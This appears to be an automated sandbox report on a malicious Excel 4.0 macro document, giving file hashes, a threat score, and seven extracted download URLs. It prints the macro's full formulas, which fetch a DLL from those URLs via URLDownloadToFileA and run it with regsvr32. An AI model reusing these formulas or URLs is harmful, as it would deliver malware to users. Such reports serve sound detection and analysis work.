General

  • Target

    5a1e3a978bd05ecce774ac81d8ff7dc11fad634b64c7e0f75ef8a44539ca1769

  • Size

    73KB

  • Sample

    241111-w5s7jatcnr

  • MD5

    7c1c351c0f92aee565a0d76e4564a799

  • SHA1

    eabca32468462add31378cde431d69837d5603d5

  • SHA256

    5a1e3a978bd05ecce774ac81d8ff7dc11fad634b64c7e0f75ef8a44539ca1769

  • SHA512

    edb26c168f629d890725018cd072927023ff03ce0a864cad8e0a0c3de14ec11f856ae861c8e57dd7275f872052ba3c1b486d2e12938ae6ec099bd969d165fc8a

  • SSDEEP

    1536:c+1kiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlVq0iRq:c+1kiCtzSmICpH7OZuvZGsMe0/

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/

http://almoiz.com/urdu/LDlbo5gc4c/

http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/

http://avrworks.com/mail/tGJconiBvy59a81/

http://asave.com.mx/cgi-bin/CUa/

https://aquinoabogados.com.ar/newsletter/tx9KBb2j/

http://avcservices-tt.com/EANAPI/hswSV1/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://almoiz.com/urdu/LDlbo5gc4c/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avrworks.com/mail/tGJconiBvy59a81/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://asave.com.mx/cgi-bin/CUa/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aquinoabogados.com.ar/newsletter/tx9KBb2j/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avcservices-tt.com/EANAPI/hswSV1/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/

xlm40.dropper

http://almoiz.com/urdu/LDlbo5gc4c/

xlm40.dropper

http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/

xlm40.dropper

http://avrworks.com/mail/tGJconiBvy59a81/

Targets

    • Target

      5a1e3a978bd05ecce774ac81d8ff7dc11fad634b64c7e0f75ef8a44539ca1769

    • Size

      73KB

    • MD5

      7c1c351c0f92aee565a0d76e4564a799

    • SHA1

      eabca32468462add31378cde431d69837d5603d5

    • SHA256

      5a1e3a978bd05ecce774ac81d8ff7dc11fad634b64c7e0f75ef8a44539ca1769

    • SHA512

      edb26c168f629d890725018cd072927023ff03ce0a864cad8e0a0c3de14ec11f856ae861c8e57dd7275f872052ba3c1b486d2e12938ae6ec099bd969d165fc8a

    • SSDEEP

      1536:c+1kiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlVq0iRq:c+1kiCtzSmICpH7OZuvZGsMe0/

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks